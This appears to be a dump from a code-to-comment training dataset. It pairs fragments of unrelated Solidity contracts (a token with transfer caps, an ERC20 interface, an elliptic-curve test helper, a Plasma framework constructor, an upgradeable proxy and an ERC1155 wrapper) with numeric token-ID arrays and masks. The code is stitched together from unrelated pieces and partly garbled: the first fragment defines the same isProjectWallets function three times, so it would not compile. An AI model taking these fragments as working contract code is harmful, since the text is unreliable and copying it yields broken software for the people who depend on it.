totalUnlockTeamWalletAmt = block .timestamp .sub(deploymentTime) .mul(_amountUnlockAwardDaoWalletPerSecond); require( totalUnlockTeamWalletAmt.sub(releasedTeamAmt) >= amount, "Must not exceed available quantity" ); releasedTeamAmt = releasedTeamAmt.add(amount); IERC20(address(this)).transfer(account, amount); } function isProjectWallets(address account) internal view returns (bool) { for (uint256 i = 0; i < _projectWallets.length; i++) { if (_projectWallets[i] == account) { return true; } } return false; } function isProjectWallets(address account) internal view returns (bool) { for (uint256 i = 0; i < _projectWallets.length; i++) { if (_projectWallets[i] == account) { return true; } } return false; } function isProjectWallets(address account) internal view returns (bool) { for (uint256 i = 0; i < _projectWallets.length; i++) { if (_projectWallets[i] == account) { return true; } } return false; } function setMaxBalance(uint256 maxBalance) external onlyOwner { _maxBalance = maxBalance; } function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner { _maxTxAmount = maxTxAmount; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { require( amount < _maxTxAmount, "Transfer amount exceeds the maxTxAmount." ); require( balanceOf(recipient).add(amount) < _maxBalance || isProjectWallets(recipient), "Recipient account balance exceeds limit." ); return super.transfer(recipient, amount); } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { require( amount < _maxTxAmount, "Transfer amount exceeds the maxTxAmount." ); require( balanceOf(recipient).add(amount) < _maxBalance || isProjectWallets(recipient), "Recipient account balance exceeds limit." ); return super.transferFrom(sender, recipient, amount); } }
6,327,042
[ 1, 950, 358, 3992, 777, 353, 4871, 404, 3286, 4871, 21382, 2548, 4871, 8231, 2539, 8148, 5558, 87, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 605, 24383, 2888, 5349, 353, 4232, 39, 3462, 16, 14223, 6914, 288, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 565, 1758, 3238, 2879, 9459, 16936, 31, 203, 565, 1758, 3238, 2109, 12839, 1235, 16936, 31, 203, 565, 1758, 3238, 279, 6909, 1764, 16936, 31, 203, 565, 1758, 3238, 279, 2913, 9793, 7306, 6201, 31, 203, 565, 1758, 3238, 5927, 16936, 31, 203, 203, 565, 2254, 5034, 3238, 6314, 950, 31, 203, 565, 2254, 5034, 3238, 15976, 37, 2913, 11412, 31787, 31, 203, 565, 2254, 5034, 3238, 15976, 8689, 31787, 31, 203, 203, 565, 2254, 5034, 3238, 389, 4963, 3088, 1283, 273, 15088, 9449, 380, 1728, 636, 2643, 31, 203, 565, 2254, 5034, 3238, 389, 3469, 9459, 3088, 1283, 273, 389, 4963, 3088, 1283, 18, 2892, 12, 6625, 2934, 16411, 12, 7132, 1769, 203, 565, 2254, 5034, 3238, 389, 1826, 7285, 3088, 1283, 273, 389, 4963, 3088, 1283, 18, 2892, 12, 6625, 2934, 16411, 12, 25, 1769, 203, 565, 2254, 5034, 3238, 389, 69, 2913, 18485, 3088, 1283, 273, 389, 4963, 3088, 1283, 18, 2892, 12, 6625, 2934, 16411, 12, 2163, 1769, 203, 565, 2254, 5034, 3238, 389, 10035, 3088, 1283, 273, 389, 4963, 3088, 1283, 18, 2892, 12, 6625, 2934, 16411, 12, 25, 1769, 203, 565, 2254, 5034, 3238, 389, 4924, 12839, 1235, 3088, 1283, 273, 203, 3639, 389, 4963, 3088, 1283, 203, 5411, 263, 1717, 24899, 3469, 9459, 3088, 1283, 13, 203, 5411, 263, 1717, 24899, 1826, 7285, 3088, 1283, 13, 203, 5411, 263, 1717, 24899, 69, 2913, 18485, 2 ]
./partial_match/42/0x60801360d436bB4ad92755B579f894dfa0FC90F2/sources/likeCredit.sol
* @title ERC20Basic @dev Simpler version of ERC20 interface/
contract ERC20Basic { uint public totalSupply; function balanceOf(address who) constant returns (uint); function transfer(address to, uint value); event Transfer(address indexed from, address indexed to, uint value, uint balances, uint balanceSub, uint status); }
8,921,311
[ 1, 654, 39, 3462, 8252, 225, 9587, 20728, 1177, 434, 4232, 39, 3462, 1560, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 4232, 39, 3462, 8252, 288, 203, 565, 2254, 1071, 2078, 3088, 1283, 31, 203, 565, 445, 11013, 951, 12, 2867, 10354, 13, 5381, 1135, 261, 11890, 1769, 203, 565, 445, 7412, 12, 2867, 358, 16, 2254, 460, 1769, 203, 565, 871, 12279, 12, 2867, 8808, 628, 16, 1758, 8808, 358, 16, 2254, 460, 16, 2254, 324, 26488, 16, 2254, 11013, 1676, 16, 2254, 1267, 1769, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.6.4; import "../contracts/EllipticCurve.sol"; import "../contracts/FastEcMul.sol"; /** * @title Test Helper for the EllipticCurve library * @author Witnet Foundation */ contract TestEllipticCurve { function invMod(uint256 _x, uint256 _pp) public pure returns (uint256) { return EllipticCurve.invMod(_x, _pp); } function expMod(uint256 _base, uint256 _exp, uint256 _pp) public pure returns (uint256) { return EllipticCurve.expMod(_base, _exp, _pp); } function toAffine( uint256 _x, uint256 _y, uint256 _z, uint256 _pp) public pure returns (uint256, uint256) { return EllipticCurve.toAffine( _x, _y, _z, _pp); } function deriveY( uint8 _prefix, uint256 _x, uint256 _aa, uint256 _bb, uint256 _pp) public pure returns (uint256) { return EllipticCurve.deriveY( _prefix, _x, _aa, _bb, _pp); } function isOnCurve( uint _x, uint _y, uint _aa, uint _bb, uint _pp) public pure returns (bool) { return EllipticCurve.isOnCurve( _x, _y, _aa, _bb, _pp); } function ecInv( uint256 _x, uint256 _y, uint256 _pp) public pure returns (uint256, uint256) { return EllipticCurve.ecInv( _x, _y, _pp); } function ecAdd( uint256 _x1, uint256 _y1, uint256 _x2, uint256 _y2, uint256 _aa, uint256 _pp) public pure returns(uint256, uint256) { return EllipticCurve.ecAdd( _x1, _y1, _x2, _y2, _aa, _pp); } function ecSub( uint256 _x1, uint256 _y1, uint256 _x2, uint256 _y2, uint256 _aa, uint256 _pp) public pure returns(uint256, uint256) { return EllipticCurve.ecSub( _x1, _y1, _x2, _y2, _aa, _pp); } function ecMul( uint256 _k, uint256 _x, uint256 _y, uint256 _aa, uint256 _pp) public pure returns(uint256, uint256) { return EllipticCurve.ecMul( _k, _x, _y, _aa, _pp); } function jacAdd( uint256 _x1, uint256 _y1, uint256 _z1, uint256 _x2, uint256 _y2, uint256 _z2, uint256 _pp) public pure returns (uint256, uint256, uint256) { return EllipticCurve.jacAdd( _x1, _y1, _z1, _x2, _y2, _z2, _pp); } function jacDouble( uint256 _x, uint256 _y, uint256 _z, uint256 _aa, uint256 _pp) public pure returns (uint256, uint256, uint256) { return EllipticCurve.jacDouble( _x, _y, _z, _aa, _pp); } function jacMul( uint256 _d, uint256 _x, uint256 _y, uint256 _z, uint256 _aa, uint256 _pp) public pure returns (uint256, uint256, uint256) { return EllipticCurve.jacMul( _d, _x, _y, _z, _aa, _pp); } function decomposeScalar(uint256 _k, uint256 _nn, uint256 _lambda) public pure returns (int256, int256) { return FastEcMul.decomposeScalar(_k, _nn, _lambda); } function ecSimMul( int256[4] memory _scalars, uint256[4] memory _points, uint256 _aa, uint256 _beta, uint256 _pp) public pure returns (uint256, uint256) { return FastEcMul.ecSimMul( _scalars, _points, _aa, _beta, _pp); } }
* @title Test Helper for the EllipticCurve library @author Witnet Foundation/
contract TestEllipticCurve { function invMod(uint256 _x, uint256 _pp) public pure returns (uint256) { return EllipticCurve.invMod(_x, _pp); } function expMod(uint256 _base, uint256 _exp, uint256 _pp) public pure returns (uint256) { return EllipticCurve.expMod(_base, _exp, _pp); } function toAffine( uint256 _x, uint256 _y, uint256 _z, uint256 _pp) public pure returns (uint256, uint256) { return EllipticCurve.toAffine( _x, _y, _z, _pp); } function deriveY( uint8 _prefix, uint256 _x, uint256 _aa, uint256 _bb, uint256 _pp) public pure returns (uint256) { return EllipticCurve.deriveY( _prefix, _x, _aa, _bb, _pp); } function isOnCurve( uint _x, uint _y, uint _aa, uint _bb, uint _pp) public pure returns (bool) { return EllipticCurve.isOnCurve( _x, _y, _aa, _bb, _pp); } function ecInv( uint256 _x, uint256 _y, uint256 _pp) public pure returns (uint256, uint256) { return EllipticCurve.ecInv( _x, _y, _pp); } function ecAdd( uint256 _x1, uint256 _y1, uint256 _x2, uint256 _y2, uint256 _aa, uint256 _pp) public pure returns(uint256, uint256) { return EllipticCurve.ecAdd( _x1, _y1, _x2, _y2, _aa, _pp); } function ecSub( uint256 _x1, uint256 _y1, uint256 _x2, uint256 _y2, uint256 _aa, uint256 _pp) public pure returns(uint256, uint256) { return EllipticCurve.ecSub( _x1, _y1, _x2, _y2, _aa, _pp); } function ecMul( uint256 _k, uint256 _x, uint256 _y, uint256 _aa, uint256 _pp) public pure returns(uint256, uint256) { return EllipticCurve.ecMul( _k, _x, _y, _aa, _pp); } function jacAdd( uint256 _x1, uint256 _y1, uint256 _z1, uint256 _x2, uint256 _y2, uint256 _z2, uint256 _pp) public pure returns (uint256, uint256, uint256) { return EllipticCurve.jacAdd( _x1, _y1, _z1, _x2, _y2, _z2, _pp); } function jacDouble( uint256 _x, uint256 _y, uint256 _z, uint256 _aa, uint256 _pp) public pure returns (uint256, uint256, uint256) { return EllipticCurve.jacDouble( _x, _y, _z, _aa, _pp); } function jacMul( uint256 _d, uint256 _x, uint256 _y, uint256 _z, uint256 _aa, uint256 _pp) public pure returns (uint256, uint256, uint256) { return EllipticCurve.jacMul( _d, _x, _y, _z, _aa, _pp); } function decomposeScalar(uint256 _k, uint256 _nn, uint256 _lambda) public pure returns (int256, int256) { return FastEcMul.decomposeScalar(_k, _nn, _lambda); } function ecSimMul( int256[4] memory _scalars, uint256[4] memory _points, uint256 _aa, uint256 _beta, uint256 _pp) public pure returns (uint256, uint256) { return FastEcMul.ecSimMul( _scalars, _points, _aa, _beta, _pp); } }
15,873,902
[ 1, 4709, 9705, 364, 326, 10426, 549, 21507, 9423, 5313, 225, 678, 305, 2758, 31289, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 7766, 4958, 549, 21507, 9423, 288, 203, 203, 225, 445, 2198, 1739, 12, 11890, 5034, 389, 92, 16, 2254, 5034, 389, 11858, 13, 1071, 16618, 1135, 261, 11890, 5034, 13, 288, 203, 565, 327, 10426, 549, 21507, 9423, 18, 5768, 1739, 24899, 92, 16, 389, 11858, 1769, 203, 225, 289, 203, 203, 225, 445, 1329, 1739, 12, 11890, 5034, 389, 1969, 16, 2254, 5034, 389, 2749, 16, 2254, 5034, 389, 11858, 13, 1071, 16618, 1135, 261, 11890, 5034, 13, 288, 203, 565, 327, 10426, 549, 21507, 9423, 18, 2749, 1739, 24899, 1969, 16, 389, 2749, 16, 389, 11858, 1769, 203, 225, 289, 203, 203, 225, 445, 358, 13785, 558, 12, 203, 565, 2254, 5034, 389, 92, 16, 203, 565, 2254, 5034, 389, 93, 16, 203, 565, 2254, 5034, 389, 94, 16, 203, 565, 2254, 5034, 389, 11858, 13, 203, 225, 1071, 16618, 1135, 261, 11890, 5034, 16, 2254, 5034, 13, 203, 225, 288, 203, 565, 327, 10426, 549, 21507, 9423, 18, 869, 13785, 558, 12, 203, 1377, 389, 92, 16, 203, 1377, 389, 93, 16, 203, 1377, 389, 94, 16, 203, 1377, 389, 11858, 1769, 203, 225, 289, 203, 203, 225, 445, 14763, 61, 12, 203, 565, 2254, 28, 389, 3239, 16, 203, 565, 2254, 5034, 389, 92, 16, 203, 565, 2254, 5034, 389, 7598, 16, 203, 565, 2254, 5034, 389, 9897, 16, 203, 565, 2254, 5034, 389, 11858, 13, 203, 225, 1071, 16618, 1135, 261, 11890, 5034, 13, 203, 225, 288, 203, 565, 327, 10426, 549, 21507, 9423, 18, 765, 688, 61, 2 ]
./partial_match/1/0x253f7B06c1D60C1FBbC9d82C301327EB86e3Ba81/sources/InitializableAdminUpgradeabilityProxy.sol
* @title BaseUpgradeabilityProxy @dev This contract implements a proxy that allows to change the implementation address to which it will delegate. Such a change is called an implementation upgrade./
contract BaseUpgradeabilityProxy is Proxy { event Upgraded(address indexed implementation); bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; function _implementation() internal override view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } function _implementation() internal override view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } function _setImplementation(address newImplementation) internal { require( Address.isContract(newImplementation), 'Cannot set a proxy implementation to a non-contract address' ); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } function _setImplementation(address newImplementation) internal { require( Address.isContract(newImplementation), 'Cannot set a proxy implementation to a non-contract address' ); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } }
2,743,826
[ 1, 2171, 10784, 2967, 3886, 225, 1220, 6835, 4792, 279, 2889, 716, 5360, 358, 2549, 326, 4471, 1758, 358, 1492, 518, 903, 7152, 18, 8002, 279, 2549, 353, 2566, 392, 4471, 8400, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 3360, 10784, 2967, 3886, 353, 7659, 288, 203, 225, 871, 1948, 19305, 12, 2867, 8808, 4471, 1769, 203, 203, 225, 1731, 1578, 203, 565, 2713, 5381, 15694, 7618, 2689, 67, 55, 1502, 56, 273, 374, 92, 29751, 6675, 24, 69, 3437, 12124, 21, 69, 1578, 2163, 6028, 27, 71, 11149, 5193, 9975, 1966, 10689, 72, 5353, 23, 73, 3462, 6669, 952, 6418, 4763, 69, 29, 3462, 69, 23, 5353, 3361, 25, 72, 7414, 22, 9897, 71, 31, 203, 203, 203, 225, 445, 389, 30810, 1435, 2713, 3849, 1476, 1135, 261, 2867, 9380, 13, 288, 203, 565, 1731, 1578, 4694, 273, 15694, 7618, 2689, 67, 55, 1502, 56, 31, 203, 565, 19931, 288, 203, 1377, 9380, 519, 272, 945, 12, 14194, 13, 203, 565, 289, 203, 225, 289, 203, 203, 225, 445, 389, 30810, 1435, 2713, 3849, 1476, 1135, 261, 2867, 9380, 13, 288, 203, 565, 1731, 1578, 4694, 273, 15694, 7618, 2689, 67, 55, 1502, 56, 31, 203, 565, 19931, 288, 203, 1377, 9380, 519, 272, 945, 12, 14194, 13, 203, 565, 289, 203, 225, 289, 203, 203, 225, 445, 389, 15097, 774, 12, 2867, 394, 13621, 13, 2713, 288, 203, 565, 389, 542, 13621, 12, 2704, 13621, 1769, 203, 565, 3626, 1948, 19305, 12, 2704, 13621, 1769, 203, 225, 289, 203, 203, 225, 445, 389, 542, 13621, 12, 2867, 394, 13621, 13, 2713, 288, 203, 565, 2583, 12, 203, 1377, 5267, 18, 291, 8924, 12, 2704, 13621, 3631, 203, 1377, 296, 4515, 444, 279, 2889, 4471, 358, 279, 1661, 17, 16351, 1758, 2 ]
pragma solidity 0.5.11; pragma experimental ABIEncoderV2; import "./BlockController.sol"; import "./ExitGameController.sol"; import "./registries/VaultRegistry.sol"; import "./registries/ExitGameRegistry.sol"; contract PlasmaFramework is VaultRegistry, ExitGameRegistry, ExitGameController, BlockController { uint256 public constant CHILD_BLOCK_INTERVAL = 1000; /** * The minimum finalization period is the Plasma guarantee that all exits are safe provided the user takes action within the specified time period * When the child chain is rogue, user should start their exit and challenge any invalid exit within this period * An exit can be processed/finalized after minimum two finalization periods from its inclusion position, unless it is an exit for a deposit, * which would use one finalization period, instead of two * * For the Abstract Layer Design, OmiseGO also uses some multitude of this period to update its framework * See also ExitGameRegistry.sol, VaultRegistry.sol, and Vault.sol for more information on the update waiting time (the quarantined period) * * MVP: https://ethresear.ch/t/minimal-viable-plasma/426 * MoreVP: https://github.com/omisego/elixir-omg/blob/master/docs/morevp.md#timeline * Special period for deposit: https://git.io/JecCV */ uint256 public minExitPeriod; address private maintainer; constructor( uint256 _minExitPeriod, uint256 _initialImmuneVaults, uint256 _initialImmuneExitGames, address _authority, address _maintainer ) public BlockController(CHILD_BLOCK_INTERVAL, _minExitPeriod, _initialImmuneVaults, _authority) ExitGameController(_minExitPeriod, _initialImmuneExitGames) { minExitPeriod = _minExitPeriod; maintainer = _maintainer; } function getMaintainer() public view returns (address) { return maintainer; } }
* The minimum finalization period is the Plasma guarantee that all exits are safe provided the user takes action within the specified time period When the child chain is rogue, user should start their exit and challenge any invalid exit within this period An exit can be processed/finalized after minimum two finalization periods from its inclusion position, unless it is an exit for a deposit, which would use one finalization period, instead of two For the Abstract Layer Design, OmiseGO also uses some multitude of this period to update its framework See also ExitGameRegistry.sol, VaultRegistry.sol, and Vault.sol for more information on the update waiting time (the quarantined period)/
{ minExitPeriod = _minExitPeriod; maintainer = _maintainer; }
13,031,596
[ 1, 1986, 5224, 727, 1588, 3879, 353, 326, 3008, 345, 2540, 18779, 716, 777, 19526, 854, 4183, 2112, 326, 729, 5530, 1301, 3470, 326, 1269, 813, 3879, 5203, 326, 1151, 2687, 353, 721, 75, 344, 16, 729, 1410, 787, 3675, 2427, 471, 12948, 1281, 2057, 2427, 3470, 333, 3879, 1922, 2427, 848, 506, 5204, 19, 6385, 1235, 1839, 5224, 2795, 727, 1588, 12777, 628, 2097, 26485, 1754, 16, 3308, 518, 353, 392, 2427, 364, 279, 443, 1724, 16, 1492, 4102, 999, 1245, 727, 1588, 3879, 16, 3560, 434, 2795, 2457, 326, 4115, 12112, 29703, 16, 25645, 784, 16387, 2546, 4692, 2690, 1778, 3540, 434, 333, 3879, 358, 1089, 2097, 8257, 2164, 2546, 9500, 12496, 4243, 18, 18281, 16, 17329, 4243, 18, 18281, 16, 471, 17329, 18, 18281, 364, 1898, 1779, 603, 326, 1089, 7336, 813, 261, 5787, 719, 297, 970, 1920, 3879, 13176, 2, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 288, 203, 3639, 1131, 6767, 5027, 273, 389, 1154, 6767, 5027, 31, 203, 3639, 11566, 1521, 273, 389, 81, 1598, 1521, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x20B41686E4c40C6B74E21Edc455797d52BCE4C61/sources/ERC1155OverERC20.sol
This contract needs first be approved for the ERC-20 transfers (the recommended approval sum is ~uint256(0)).
function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory /*data*/ ) public virtual override { require(to != address(0), "ERC1155: transfer to the zero address"); require(from == msg.sender || _operatorApprovals[from][msg.sender], "ERC1155: caller is not owner nor approved"); require(IMyERC20(id).transferFrom(from, to, amount)); }
16,011,836
[ 1, 2503, 6835, 4260, 1122, 506, 20412, 364, 326, 4232, 39, 17, 3462, 29375, 261, 5787, 14553, 23556, 2142, 353, 4871, 11890, 5034, 12, 20, 13, 2934, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
